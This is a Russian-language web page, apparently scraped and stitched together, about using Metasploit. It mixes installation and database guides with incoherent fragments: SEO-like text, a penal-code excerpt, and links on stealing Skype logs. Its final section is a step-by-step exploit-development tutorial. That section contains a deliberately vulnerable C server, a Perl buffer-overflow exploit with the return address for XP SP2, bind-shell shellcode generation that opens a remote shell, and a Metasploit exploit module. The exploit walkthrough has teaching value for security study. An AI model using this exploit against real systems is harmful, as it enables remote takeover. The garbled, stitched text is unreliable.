Категория: Инструкции
Metasploit Project — проект, посвященный информационной безопасности. Создан для предоставления информации об уязвимостях, помощи в создании сигнатур для IDS, создания и тестирования эксплоитов. Наиболее известен проект Metasploit Framework — удобная платформа для создания и отладки эксплоитов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности. http://ru.wikipedia.org/wiki/Metasploit
В начале необходимо установить Metasploit Framework. Для этого поставим все необходимые пакеты.
После установки необходимо обновить Metasploit Framework
Теперь самый простой вариант использования Metasploit Framework. Запустим консоль.
Теперь добавим нашу жертву в базу данных и информацию про его порты.
Отправим все на автоматический взлом . Данная команда стала неактуальной в последних версиях.
Если в конце процесса появятся сессии, значит взлом удался. Выбираем сессию и в ходим в нее.
Альтернатив db_autopwn нет. Использовать эксплоиты можно в ручную. Например так:
Далее можно заняться многим, все зависит от ваших полномочий в системе. Для просмотра команд доступных Вам наберите:
В конце для выхода обратно из сессии и удаления данного хоста из базы данных проделываем следующую операцию:
Иногда Базы данных отваливаются я решил данный вопрос вот так:
Александр Ф Михайлов (ChelAxe)
Metasploit инструкция по применению - актуальная информация.
LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Эксплоит содержит параметр FILENAME, который содержит информацию о вредоносном файле, который будет создан. Появившись на свет 7 лет назад, MSF впоследствии из простого фрэймворка для. С одной стороны это повлияло на длительность вебинара, с другой — когда я сам начал пробовать на практике полученные знания, мне пришлось столкнуться с этими же проблемами, и я уже знал, как их устранить. Так что, если приложение «рухнет» от эксплоита или пользователь закроет приложение — подключение к цели останется. Sending stage 752128 bytes to 192. За семь лет разработки Backtrack стал таким, каким и должна быть система с тестами на проникновение. Используя msfpayload, мы можем конвертировать любой Metasploit shellcode в один из этих форматов. Точнее, это фреймворк, с. Metasploit выполняет этот процесс в два простых шага: Генерирует соотв.
Metasploit Framework | ВКонтактiСегодня речь пойдёт о Kali Linux. Деяния, предусмотренные частями первой, второй или третьей настоящей статьи, если они повлекли тяжкие последствия или создали угрозу их наступления, - наказываются лишением свободы на срок до семи лет. Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину. Переполнение RTF буфера существует в версиях 2007 и 2010 Office.
Автор: Том Кобурн англ. Так что давайте быстро его протестируем. Также сюда можно добавить интересные факты, картинки и прочие вещи. Создание, использование и распространение вредоносных компьютерных программ 1. В 2003 году по забугорным интернетам блуждала этого же плаката с текстом «Пилоты!
Еще раз напоминаем прописные истины: Не стоит использовать одинаковые пароли для разных сервисов особенно терминальных, находящихся во владении третьих лиц. Смысл данной техники заключается в увеличении надежности эксплоита. С тех пор прошло семь лет и Backtrack стал одним из самых популярных "хакерских чемоданчиков". PID Name User Path --- ---- ---- ---- 1060 svchost. Главное в системе - тесты на проникновение.
Предлагаю вам перевод введения и первой части новой книги "
Metasploit использует различные библиотеки, которые играют ключевую роль в функционировании системы. Эти библиотеки представляют собой набор заранее определенных задач, операций и функций, которые могут быть использованы различными модулями системы. Самая фундаментальная часть фреймфорка является Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов (wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы (logging subsystem), exploitation utility classes, а также ряд других полезных классов.
Далее есть MSF Core библиотека, которая расширяет Rex. Core несет ответственность за выполнение всех необходимых интерфейсов (required interfaces), которые позволяют взаимодействовать с эксплоитами, модулями, сессиями и плагинами.
В Metasploit есть четыре так называемых пользовательских интерфейса: msfconsole, msfcli, msfgui и msfweb. Настоятельно рекомендуется изучить все 4 интерфейса. Однако в книге (статье) с основном будет использоваться msfconsole. Потому что msfconsole хорошо поддерживается во фреймворке и использует все функциональные возможности.
С теорией пока что покончено, переходим к практике.
Настройка Metasploit в Ubuntu/Debian
Скачайте Metasploit c офф сайта (http://www.metasploit.com/download).
У вас будет возможность выбрать либо минимальные настройки или полные. Выберите загрузку в соответствии с вашими потребностями. Полная установка будет включать в себя все зависимости, настройку БД, окружающей среды и т.д. В то время как минимальные настройки будут содержать только зависимости, без настройки БД.
Установка может закончиться с ошибкой по некоторым причинам. Некоторые версии Ubuntu могут содержать сломанные библиотеки языка Ruby. В этом случае можно установить зависимости отдельно.
Установка зависимостей Ruby:
После установок выше, скачать архив Metasploit:
Если все закончилось нормально, Metasploit будет работать.
После успешного входа можно остаться в CLI (Command Line Interface) или перейти в графический интерфейс, командаstartx.
Запустить Metasploit Framework можно из Applications: Applications | BackTrack | Exploitation Tools | Network Exploitation Tools | Metasploit Framework, как показано на рисунке:
Чтобы запустить Metasploit из консоли, выполните след. команды:
Идеальной настройкой считается создание физической среды, т.е. компьютеры должны физически существовать. Но если лишних машин нет, тогда нужно воспользоваться виртуализацией.
Мы будем использовать Virtual Box и создадим две виртуальные машины BackTrack 5 и Windows XP SP2. Хост система будет Windows 7.
Процесс установки достаточно прост, если есть желание почитать про Virtual Box, тогда можно воспользоваться ссылкой_1 иссылкой_2 .
Прежде чем приступить к работе, нужно настроить VB так, чтобы две виртуальные машины могли общаться между собой. Выбираем одну из виртуальных машин и переходим в Свойства (Settings). Далее выбираем Сетевые настройки (Network settings). Сетевой адаптер будет предустановлен в NAT, чтобы пользоваться Интернетом. В адаптере 2 (Adapter 2) выбрать Host only Adapter:
Повторите этот действие на всех виртуальных машинах. Host-only adapter нужен для того, чтобы машины могли общаться друг с другом. Далее нужно проверить все ли пингуется (это переводить не стал, потому что и так все понятно, а кому не понятно… значит в комментарии).
Настройка Metasploit в BackTrack + SSH
Сейчас сосредоточимся на производительности. Может оказаться так, что ресурсов системы не хватит, тогда нужно исправить положение.
Нам понадобится SSH-клиент. Будем использовать PuTTY .
Загружаем BackTrack в CLI и выполняем след. команды:
Теперь смотрим ip-адрес:
Запускаем PuTTY на главном хосте (Windows 7). Вводим ip-адрес и порт 22:
Если все прошло нормально, тогда должно появиться следующее:
Таким образом потребление памяти снизиться примерно в два раза.
Создание базы данных в Metasploit
Важной особенностью в Metasploit является наличие БД, в которой можно хранить результаты тестирования. Любой пентест состоит из большого количества информации и может работать в течение нескольких дней, поэтому часто необходимо хранить промежуточные результаты в БД.
В качестве базы данных по умолчанию в Metasploit используется PostgreSQL. В BackTrack есть возможность использовать MySQL вместо PostgreSQL, но об этом чуть позже. Давайте для начала проверим настройки по умолчанию в PostgreSQL БД. Открываем файл database.yml расположенный в /opt/framework3/config. Чтобы это сделать, выполните след. команду:
Обратите внимание на значения по умолчанию: database, username, password, host, port, pool и timeout. Запишите эти значения, так как они будут необходимы в дальнейшем. Вы также можете изменить их в соответствии с вашим выбором.
Теперь задача состоит в том, чтобы подключиться к БД. Для этого запускаем msfconsole и проверяем доступные драйверы баз данных:
Убеждаемся, что PostgreSQL используется по умолчанию. Если хочется использовать MySQL, тогда нужно выполнить след. команду:
Это приведет к изменению активного драйвера для MySQL.
Важно!
Обратите особое внимание на то, что Rapid7 прекратила поддержку MySQL в последней версии Metasploit (v4.6.0-dev). Поэтому команда db_driver уже не нужна. Теперь будет использоваться только PostgreSQL. И следовательно такие команды как: db_driver, db_connect не нужны. Но если пользуйтесь старой версией, тогда читайте дальше.
Для подключения к БД используется команда db_connect. Давайте посмотрим на ее синтаксис:
Чтобы подключиться к БД будем использовать значения из файла database.yml (см. выше):
При успешном выполнении команды, база данных PostgreSQL будет полностью настроена.
Теперь давайте рассмотрим несколько важных моментов связанных с БД.
Получение ошибки при подключении к базе данных.
Есть некоторая вероятность, что при подключении к БД выведется ошибка. Поэтому нужно помнить о двух моментах:
Удаление базы данных
В любой момент времени вы можете остановить/удалить созданную базу данных, и начать все заново. Следующая команда используется для удаления БД:
Теперь давайте посмотрим, как использовать БД для хранения результатов тестирования. Начнем с небольшого примера. Команда db_nmap сохраняет результаты сканирования портов непосредственно в БД, а также всю необходимую информацию. Запускаем простое nmap сканирование, чтобы проверить, как это работает:
Как видим, nmap выдала результаты сканирования. Nmap будет автоматически заполнять БД msf3.
Можно также воспользоваться опциями -oX в nmap, чтобы сохранить результат сканирования с формате XML. Это полезно делать, если в дальнейшем вы будите использовать сторонние программы, такие как Dradis Framework для работы с результатами:
report - это файл, в котором будет храниться результат сканирования.
Команда db_nmap создает SQL запросы с различными столбцами таблицы, имеющие отношение к результатам проверки. После завершения сканирования, db_nmap сохраняет значения в базе данных. Сохранение результатов в виде таблиц упрощает обмен результатами локально, так и со сторонними инструментами.
После того, как сканирование завершено, наступает время анализа. Анализ данных даст нам более точное понимание целевой системы. Результаты в базе данных могут храниться либо в течении длительного времени, либо в течении короткого срока. Что захотите сделать, то и будет.
Анализ результатов сканирования из БД
Рассмотрим наиболее важные команды, чтобы иметь четкое представление о сохраненных результатах:
msf > hosts — команда покажет все хосты, которые имеются в БД:
Однако, вывод команды hosts можно сделать более «чистым», так как отображается много столбцов в таблице. Таким образом, мы можем двигаться дальше, т.е. добавить фильтры и просматривать только те столбцы, которые нас интересуют:
msf >hosts -c address,os_name Hosts ===== address os_name ------- ------ 192.168.56.1 192.168.56.101 192.168.56.102 Microsoft Windows 192.168.56.103 Linux
msf > services — еще одна интересная команда, которая может дать полезную информацию о службах запущенных на целевой системе:
msf >services Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 192.168.56.101 111 tcp rpcbind open 192.168.56.102 135 tcp msrpc open 192.168.56.102 139 tcp netbios-ssn open 192.168.56.102 445 tcp microsoft-ds open 192.168.56.102 135 tcp msrpc open Microsoft Windows RPC
msf > vulns — эта команда выдает список уязвимостей присутствующих в БД.
msf > db_autopwn — мощная команда, которая используется для автоматизации процесса «эксплуатации» (exploiting) целевых машин. Эта команда требует большего понимания процесса эксплуатации, поэтому мы будем анализировать/изучать эту команду позже.
Процесс анализа достаточно прост и может легко фильтроваться, чтобы получить желаемый результат. Мы уже поняли, как читать/просматривать базу данных и как использовать ее эффективно. Последние две команды vulns и db_autopwn являются post-exploitation. Их мы будем рассматривать в след. статьях/главах.
Ну вот и все. Это было введение и первая часть
Metasploit Exploitation Framework — это инструмент для тестирования на проникновение. Он содержит большую базу эксплойтов, позволяет использовать их прямо из Metasploit. Существует две версии Metasploit, в этом уроке я рассматриваю бесплатную версию.
searchsploit — это инструмент для поиска эксплойтов. Содержит базу, по моим наблюдениям, более обширную, чем Metasploit. Но не содержит функции использования эксплойтов.
На всякий случай, разберёмся с терминологией. Эксплойт — это готовая программа, которая, используя конкретную уязвимость, автоматизирует процесс проникновения или повышения прав или другое несанкционированное действие, которое является следствием уязвимости.
Обе программы не сложны, но нужно знать, что и как там делать. Обе эти программы включены в Kali Linux «из коробки». Поэтому, возможно, вас также заинтересуют статьи:
Я буду рассматривать работу с этими программами в Kali Linux. но на самом деле, эти утилиты можно установить на любой Linux.
searchsploitЭто программа только для поиска известных эксплойтов. Чтобы вывести справку по ней, наберите в командной строке:
Файлы .pl написаны на языке Perl, перед именем файла, для запуска, нужно ставить perl. Аргументы передаются в командной строке (или вписываются в исходный код) как и с PHP.
Думаю, с поиском всё предельно просто. С конкретным применением — зависит от конкретного эксплойта. Переходим к Metasploit.
MetasploitПрограмма Metasploit расположена в меню в двух местах. Самый быстрый способ — это найти её среди 10 самых популярных приложений. Там она называется Metasploit Framework. Запуск каждый раз занимает какое-то время, поэтому просто ждём:
Если программа пишет вам что-то про базу данных и про медленный поиск, то воспользуйтесь этой инструкцией. А также можете вручную пересобрать кэш:
Ну и, конечно, для того чтобы знать, какие эксплойты использовать, нужно знать работающие на целевой машине программы и их версии. Определённую помощь в этом может оказать вам статья «Обзор разделов инструментов Kali Linux 1.0.9a. Часть 2. Инструменты для сбора информации «.
Заключительные словаСкажу честно, базы эксплойтов меня разочаровали: я слежу за обновлениями самых популярных веб-приложений (phpMyAdmin, WordPress, Drupal и т. д.) и за последние месяцы в списках изменений мелькало достаточно много закрытых уязвимостей. Под большинство из них я не нашёл эксплойтов. Возможно, это касается только эксплойтов для веб-приложений. Вполне возможно, что для операционных систем и программ всё намного интереснее. Отсутствие в паблике эксплойтов на свежие версии популярных веб-приложений я связываю с тем, что: а) не так уж и просто потенциальную уязвимость раскрутить, хотя бы, до работающего концепта; б) самые интересные эксплойты собраны в закрытых базах, возможно, доступных за плату или только для определённого круга лиц.
Похожие темыКак получить логи скайпа и историю браузера на уда. https://codeby.net/forum/threads/krazha-logov-skype-i-istorii-poseschenij-brauzerov.57913/ Как получить логи skype и историю посещений браузеров на.
Взлом паролей WPA2/WPA с помощью Hashcat в Kali Li. Если у вас какие-либо проблемы с беспроводными устройствами, то следует ознакомиться со статьёй «Лучшие совместимые с Kali Linux USB Wi-Fi ада.
Metasploit Community — Руководство для начин. Содержание О руководстве Целевая аудитория Структура Условные обозначения Поддержка Поддержка Metasploit Pro и Metasploit Express П.
Сканер уязвимостей ZMap — дополнительная инф. Перейти к содержанию полного руководства пользователя ZMap на русском языке. ICMP эхо-сканирование UDP Datagram сканирование Файлы конф.
Простой способ открыть диски Linux (с файловой сис. Если у вас на одном из дисков установлена Linux и вы, будучи загруженным в Windows, хотите посмотреть содержимое этого диска, то окажется, что это н.
Учимся писать эксплоиты для Metasploit Framework
Откуда берутся сплоиты? Задумывался ли ты, каким образом тусклая новость из багтрака превращается в реально работающую отмычку? Каким образом двумя десяткам строчек кода удается получить шелл на удаленном сервере? Сегодня мы посетим фабрику сплоитов и во всех подробностях посмотрим, как изготавливается качественное изделие.
Сплоит – что же это за зверь такой диковинный? По сути, это программа, написанная с целью использования уязвимости – в ОС, обычной программе или веб-приложении. Он может представлять из себя что угодно – программку на С/С++ (Delphi, Asm), скриптик на Perl или PHP, или даже находиться внутри картинки, но главное, что он влияет на уязвимую систему и заставляет ее работать так, как она не запрограммирована. Удаленный эксплоит работает через сеть и использует уязвимость без какого-либо предварительного доступа к уязвимой системе. Локальные же сплоиты запускаются непосредственно в уязвимой системе, требуя предварительного доступа к ней и обычно используются для повышения привилегий.
Сплоиты можно разделить по типу используемой уязвимости: переполнение буфера, SQL-инъекция, межсайтовый скриптинг и т.д. Короче говоря, разновидностей бывает много и каждая из них отличается как техникой исполнения, так и своей целью. Но есть в них одно общее – все они содержат код, выполняющий задуманные хакером действия. Этот код называют: байт-код, шелл-код (так как очень часто этот код предоставляет доступ к шеллу на удаленной системе), полезной (боевой) нагрузкой (payload). Написание такого кода – целое искусство. Если хочешь разобраться в этой области, советую начать со статьи Step'а "Откуда берутся шеллкоды ". Мы же рассмотрим процесс написания эксплоита, а шелл-код возьмем уже готовый из пакета Metasploit.
Пишем жертву для экспериментовУбежден, что нет более наглядного способа продемонстрировать создание боевого кода, чем на конкретном примере. Поэтому начнем с игры в горе-программистов и наваяем небольшое серверное приложение, оставив в нем критическую уязвимость, которую и будет эксплуатировать. Приложение будет принимать подключения на определенном порту: как только придет некоторый пакет, будет вызываться функция, выполняющая некоторые действия с полученными данными, после чего приложение завершается. Скелет приложения приведен ниже:
void pr( char *str)
<
char buf[ 500 ]= "" ;
strcpy(buf,str) ; // вот и сама уязвимость, собственной персоной
>
int main(int argc, char **argv)
<
.
int bytesRecv = SOCKET_ERROR ;
while( bytesRecv == SOCKET_ERROR )
<
//Получаем данные, отправленные клиентом
bytesRecv = recv( clientSocket, Message, 5000. 0 ) ;
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
<
printf( "\nConnection Closed.\n" ) ;
break ;
>
>
pr(Message) ; // вызываем функцию, которая не проверяет длину входного буфера при копировании
closesocket(clientSocket) ;
closesocket(serverSocket) ;
WSACleanup() ;
return 0 ;
>
Внимательно взглянув на код, можно увидеть, что функция void pr(char *str) не проверяет длину входного буфера и, если передать ей в качестве параметра строку длиной более 500 символов - получится классическое переполнение буфера. Совсем кратко о том, как это работает (тут придется вспомнить, как работает стек):
PUSH EDI // кладем в стек указатель, на буфер, который будем копировать (*str)
CALL Server._pr // вызываем функцию pf
После вызова CALL стек будет выглядеть следующим образом:
buf - локальная переменная, куда будем копировать входящие данные
ebp - сохраненный указатель кадра стека
ret - адрес возврата
*str - указатель на входящий буфер
.
Под переменную buf у нас выделено 500 байт. А что будет, если скопировать туда строку длиннее?
[buf] [EBP] [ret] [*str]
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
Как видишь, такая строка затрет EBP, адрес возврата и все, что расположено ниже по стеку – перезапиши адрес возврата нужным нам значением и тогда при выходе из функции мы можем вернуться, куда захотим, например, на наш шелл-код.
Правда, стоит сделать поправку: уязвимости может и не быть. В смысле, от такой критической ошибки, конечно, никуда не деться, и программа в любом случае будет падать, однако использовать переполнение в сплоите может и не получиться. Виной тому стековые куки – специальная защита, включаемая в бинарник компилятором во время сборки приложения. Существует несколько способов обхода такой защиты (подробнее – смотри ниже), но сейчас для простоты примера предположим, что стековые кукисы отключены. Поэтому либо отключаем поддержку кукисов во время компиляции в Visual Studio, либо используем компилятор, который вообще не умеет встраивать подобную защиту. Второй вариант, как мне кажется, проще – так как можно использовать бесплатный компилятор lccwin32. Компилируем и запускаем.
Убить наповал!Сервер работает ровно до тех пор, пока ему не придет строка, состоящая более чем из 500 символов. В противном случае – непременно вылет приложения. Набросаем небольшой скриптик на Perl'е для эксплуатации переполнения буфера:
use strict;
use Socket;
my $junk = "\x41" x100 0 ;
# адрес и порт узявимого демона
my $host = shift || 'localhost' ;
my $port = shift || 200 ;
my $proto = getprotobyname ( 'tcp' );
# осуществляем привязки
my $iaddr = inet_aton( $host );
my $paddr = sockaddr_in( $port. $iaddr );
print "[+] Setting up socket\n" ;
# создаем сокет и присоединяемся к порту
socket (SOCKET, PF_INET, SOCK_STREAM, $proto ) or die "socket: $! " ;
print "[+] Connecting to $host on port $port \n" ;
connect (SOCKET, $paddr ) or die "connect: $! " ;
print "[+] Sending payload\n" ;
print SOCKET $junk. "\n" ;
print "[+] Payload sent\n" ;
close SOCKET or die "close: $! " ;
Скрипт просто соединяется с сервером и посылает ему строку символов "А" длиной 1000 ($junk = "\x41" x1000). Чтобы наглядно посмотреть, что в момент получения такой строки происходит внутри нашего сервера, запускаем его под отладчиком – идеально, под OllyDbg. Выбираем наш бинарник через меню "File -> Open" и отдаем команду на выполнение: "Debug -> Restart -> Run". Далее запускаем простенький сплоит, который, как и следовало ожидать, убивает наш сервер наповал. Смотрим в отладчик - адрес возврата из функции pf (и, как следствие, регистр EIP, указывающий на следующую инструкцию) оказывается перезаписанным значением 41414141 (как ты помнишь, 0х41 - это символ А). Но на момент, когда мы будем глядеть в отладчик, уже произойдет возврат по адресу 41414141, и мы будем видеть только EIP. Для успешной эксплуатации уязвимости нужно построить ядовитую строку так, чтобы она переписывала адрес возврата нужным нам значением - адресом нашего шелл-кода. Поэтому сначала необходимо выяснить, какие именно символы строки затирают адрес возврата. В этом поможет одна из утилит Metasploit Framework. Но перед этим предлагаю тебе быстренько ознакомиться с Фреймворком.
Используем Metasploit для разработки эксплоитаСимволов в передаваемой строке 1000, все они одинаковые, поэтому неудивительно, что в строке возврата появляется значение, состоящее из буквы A. Но если составить строку, которая будет состоять из неповторяющихся буквенно-числовых строк, то легко определить позицию тех символов, которые попадают в адрес возврата. Генерацией такой строки как раз и занимается утилита, входящая в состав Metasploit, pattern_gererate. В качестве единственного обязательного параметра передается длина строки. Итак, создадим буфер длиной в 1000 символов для дальнейшего использования в нашем сплоите:
msf > ruby pattern_create .rb 1000
Aa0Aa1Aa2Aa3 [967 символов вырезано злым редактором] Bh0Bh1Bh2Bh
А в скрипте заменим значение переменной $junk на вышеприведенную последовательность. Заново запускаем наш уязвимый сервер, подключаемся к нему в OllyDbg и запускаем эксплоит. Сервер опять падает. Что ж, давай взглянем, что на этот раз оказалось в регистре EIP? EIP = 41387141. Чтобы определить смещение символов в строке, используем другую утилиту из набора Metasploit - pattern_offset, передавая в параметрах искомую величину и длину буфера:
my $totalbuffer = 1000 ;
# длина буфера
my $junk = "\x41" x 504 ;
# первые 504 символа "А"
my $eipoverwrite = "\x42" x 4 ;
# 4 символа "В", которые перезапишут адрес возврата
my $junk2 = "\x43" x ( $totalbuffer - length ( $junk. $eipoverwrite ));
# оставшееся место в буфере заполняем символами "С"
И заменяем строчку кода, отправляющую сформированную строку в сокет, на:
print SOCKET $junk. $eipoverwrite. $junk2. "\n" ;
Чтобы проверить, запускаем эксплоит и смотрим в отладчик. Ага, так и есть: EIP = 42424242. Увы, тысячи символов слишком мало, чтобы уместить шелл-код, поэтому попробуем увеличить длину ядовитой строки и посмотреть, как будет работать сплоит. Длину выбираем экспериментально: методом проб и ошибок. После увеличения длины с 1000 до 2000 (my $totalbuffer = 2000) убеждаемся, что сплоит по-прежнему работает так же успешно. А это значит, мы имеем 2000-4-504=1492 байта для размещения нашего шелл-кода. Все это прекрасно, но как передать управление шелл-коду – ведь его адреса мы не знаем! Давай посмотрим, что у нас происходит со стеком в момент переполнения. Поставим в отладчике бряк на функцию strcpy:
0040130 B. CALL 00404351
И запускаем эксплоит. Бряк сработал, – смотрим, что в стеке (в olly стек показывается в правом нижнем углу и имеет формат "адрес - значение – комментарий; типа return to kernel32.728232"):
[buf] [ebp] [ret] [предыдущий стековый фрейм]
Нажимаем <F8> (перейти на следующую инструкцию) и отмечаем изменения в стеке:
[buf] [ebp] [ret] [предыдущий стековый фрейм]
[AAAAAAAA] [BBB] [CCCCCCCC…]
Теперь взглянем на конец функции pf:
00401313 POP EDI
00401314 POP ESI
00401315 LEAVE
00401316 RETN
При вызове команды LEAVE происходит следующее:
MOV ESP, EBP //теперь в ESP содержится адрес [ebp]
POP EBP // в EBP заносится значение из [ebp] (эта область у нас перезаписана символами "А", следовательно, EBP будет равен 41414141), ESP теперь указывает на адрес возврата.
При выполнении команды RETN из стека выталкивается адрес возврата – поэтому получается, что ESP указывает на начало стекового фрейма, то есть на $junk2, где мы и будем размещать наш шелл-код. А как перейти по адресу, лежащему в esp? Хороший вопрос!
Переход к ESP – вполне обычное действие для виндовых приложений. Более того, любое такое приложение использует, как минимум, одну системную DLL’ку, в которых есть инструкции на любой вкус. Адреса в таких DLL'ках, как правило, статичны и не изменяются! Получается, если найти инструкцию перехода на ESP (а это либо jmp esp, либо push esp + ret, либо call esp), взять ее адрес и заменить им адрес возврата, то на выходе из функции управление передастся на ESP – прямиком нашему шелл-коду.
Есть один момент, который стоит упомянуть! Адрес возврата не должен содержать нулевых байтов, ведь функция strcpy воспримет все как признак конца строки и не скопирует оставшуюся часть буфера, то есть $junk2, куда мы хотели разместить шелл-код. Поэтому мы будем искать инструкцию перехода по esp в динамических библиотеках, используемых приложением, так как адрес такой инструкции в библиотеках будет выше, и не будет занимать все четыре байта – исключая возможность появления нуля в начале.
Осуществлять поиск будем с помощью полезной утилиты findjmp, входящей в состав пакета тулз MSF eXploit Builder – он нам понадобится и позже. Прога ищет адрес команды call, jmp, push + регистр и ret в dll или приложении. Наша программа работает с сокетами, и значит, она будет использовать стандартную виндовую библиотеку ws2_32.dll. Посмотрим, есть ли там интересующий нас опкод (то есть машинные инструкции, соответствующие передаче управления на ESP). Запускаем с указанием, во-первых, библиотеки для поиска, и, во-вторых, нужного регистра:
Findjmp2 .exe ws2_32 .dll esp
Scanning ws2_32 .dll for code useable with the esp register
0x71AB9372 push esp - ret
Finished Scanning ws2_32 .dll for code useable with the esp register
Found 1 usable addresses
Найден один подходящий нам адрес - 0x71AB9372. Кстати, если вдруг нужного опкода в другой ситуации не найдется – не беда, можно поискать в kernel32.dll, которая используется всеми приложениями. Аналогичный поиск по этой библиотеке дает еще два подходящих адреса. В действительности, это не самый удачный вариант и искать опкоды в системных библиотеках стоит в самом последнем случае. Дело в том, что библиотеки различаются от системе к системе и даже от версии сервиспака, установленного в винде. Адрес 0x71AB9372 действителен только для английской Windows XP SP2 – для другой системы он будет другой! Именно поэтому подходящие опкоды стоит искать в DLL'ках, которые устанавливает в систему сама программа – только в этом случае есть шанс написать независящий от версии Windows сплоит. В нашем случае, увы, такой вариант невозможен в виду простоты примера, но свои динамические библиотеки для реального виндового приложения – это в большинстве случаев норма.
Осталось только создать шелл-код. Как я уже говорил, к сплоиту предъявляется одно важное требование - он не должен содержать нулевых байтов. В программе копируется строка, и если встретится "0", он будет воспринят как конец строки. Соответственно, оставшаяся часть строки не скопируется, а неполный шелл-код, естественно, не будет работать. В создании шелл-кода нам опять поможет Metasploit и консольный интерфейс для управления фреймворком. Итак, запускаем консоль tools/msfconsole и вводим следующее:
msf > use window s/shell_bind_tcp // будем использовать этот payload
msf payload(shell_bind_tcp) > set LPORT 5555 // устанавливаем значение порта на удаленной машине
LPORT => 5555
С помощью команды "generate -h" посмотрим опции, которые можно указать для генерации шелл-кода:
Указываем, что надо избегать байтов '\x00\xff', генерировать код для Perl'a и сохранить полученные результаты в c:\\shellcode.bin:
msf payload ( shell_bind_tcp ) > generate - b '\x00\xff' - f c. \\ shellcode. bin - t perl
[*] Writing 1747 bytes to c. \ shellcode. bin.
Вот теперь, имея на руках шелл-код, настало время собрать полноценный эксплоит. Единственное – нужно помнить несколько моментов:
Отправляемая серверу строка будем формироваться следующим образом:
my $junk = "\x90" x 504 ; // первые 504 NOP ’ a
#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack ( 'V'. 0x71AB9372 ); // перезаписываем адрес возврата значением 0x71AB9372
#add some NOP's
my $shellcode = "\x90" x 50 ; // добавляем 50 nop -ов перед шелл-кодом
/ / прибавляем сгенерированный нами шелл-код (windows/shell _bind_tcp )
$shellcode = $shellcode. "\xbb\x2e\ [и тут тоже кушал редактор ] xd3" ;
Окончательно строка, отправляемая в сокет:
// и отправляем ядовитую строку серверу
print SOCKET $junk. $eipoverwrite. $shellcode. "\n" ;
После чего пытаемся в сплоите установить соединение с удаленной машиной на 5555 порту, который мы указали при генерации шелл-кода:
system ( "telnet $host 5555" );
Запускаем эксплоит и… о чудо, он работает! Протестировав эксплоит на различных ОС (Windows XP SP3), можно увидеть, что значение смещения не меняется - меняется только наш адрес возврата.
Эксплоит для MetasploitИтак, у нас есть сплоит для конкретной платформы с вполне определенной нагрузкой, открывающей в системе шелл. Так зачем нужна вообще какая-либо специальная платформа для создания сплоита, если мы вполне обошлись силами одного лишь Perl'а? Причина в том, что Metasploit предоставляет огромное количество заготовок, реализаций различных протоколов, одну из самых больших баз шелл-кодов, payload-ов, которые можно использовать при написании собственного эксплоита. Вместо убогого скрипта на Perl'е можно написать модуль для Metasploit, после чего запускать его на любой платформе и выбирать payload на свой вкус! Чуешь разницу? Предлагаю прямо сейчас усовершенствовать наш сплоит, переписав его для Metasploit, и посмотреть, как это работает. Само собой, он будет обладать возможностью выбора платформы для атаки, а выбирать пейлоад ты сможешь прямо во время исполнения атаки.
Любой эксплоит для Metasploit имеет фиксированную структуру, которая состоит из объявления заголовочных файлов, подключения ядра msf/core, определения класса эксплоита, в котором описывается его функциональность. Я не буду приводить здесь полный исходник модуля, но выкладываю его на диске. Рекомендую для большей ясности открыть его прямо сейчас и далее читать мое практически построчное объяснение его кода.
Первое, с чего начинается любой сплоит, – это подключение ядра Metasploit Framework:
Функциональность любого сплоита описывается с помощью класса, где его настройки задаются с помощью параметров, а функциональность – с помощью методов. Создаваемый объект наследуется от одного из предопределенных классов. Поскольку мы создаем удаленный сплоит, то и наследуем наш объект от родительского класса "Удаленный эксплоит". В синтаксисе Ruby это делается так:
class Metasploit3 < Msf. Exploit::Remote.
Большая заслуга Metasploit в том, что он унифицирует большое количество параметров и действий, позволяя использовать готовые конструкции вновь и вновь. Первый элемент разрабатываемого класса – секция include, где мы подключаем обработчик для нужного нам протокола. В Metasploit есть обработчики для http, ftp и других протоколов, что позволяет быстрее писать эксплоиты, не заморачиваясь с их собственной реализацией. Наш эксплоит использует TCP-подключение, поэтому код будет выглядеть следующим образом:
include Msf. Exploit. Remote. Tcp
Далее весь сплоит делится на два метода: метод инициализации, в котором мы указываем информацию, необходимую для успешного выполнения эксплоита, и метод эксплуатации, в котором мы отправляем на сервер ядовитую строку.
Начнем с инициализации. Параметр Payload задает длину ядовитого буфера и недопустимые символы (в нашем случае – 0х00 и 0xff):
Далее определяем цели эксплоита и специфичные для каждой цели параметры, такие как адрес возврата, смещение и т.д.:
Обрати внимание, мы не определяем сам шелл-код – то есть, нагрузку, которую выполнит сплоит. Действие на удаленной машине будет выбираться интерактивно во время работы в консоли Metasploit'ом. Сейчас нам остается только написать самое главное - метод для эксплуатации уязвимости. С помощью команды connect устанавливаем TCP-соединение (обработчик протокола мы подключили выше и даже указали порт, помнишь?), далее – определяем ядовитую строку и передаем ее в сокет, после чего разрываем соединение. Ядовитый буфер состоит из цепочки NOP-команд, величины Offset - затем к ней прибавляется адрес возврата, еще небольшая NOP-цепочка и зашифрованный PAYLOAD. Все вместе выглядит так:
def exploit
connect
junk = make_nops ( target [ 'Offset' ])
sploit = junk + [ target. ret ]. pack ( 'V' ) + make_nops ( 50 ) + payload. encoded
sock. put ( sploit )
handler
disconnect
end
Вот и все, наш первый модуль для Metasploit готов! Чтобы его можно было использовать, скопируем исходник в папку modules/exploits/test (если не нравится test – можешь скопировать в windows/misc, например). Запускаем msfconsole и работаем в интерактивной консоли Metasploit'а!
Эксплоит за 5 минутКак видишь, разработать эксплоит для Metasplot не так сложно. Скорее даже наоборот, ведь большая часть работы уже сделана за тебя. Взять хотя бы огромную базу шелл-кодов – попробуй разработать свой. Но лени человеческой нет предела, поэтому в стремлении еще больше упростить процесс был разработан пакет утилит тебе MSF eXploit Builder. Программа имеет удобный графический интерфейс и поможет по-настоящему быстро создавать новый модуль для Metasploit. Кроме удобного GUI, eXploit Builder включает в себя целую кучу полезных тулз, необходимых для отладки и тестирования эксплоитов. Более того – можно опять же создавать с нуля, а портировать уже существующие сплоиты.
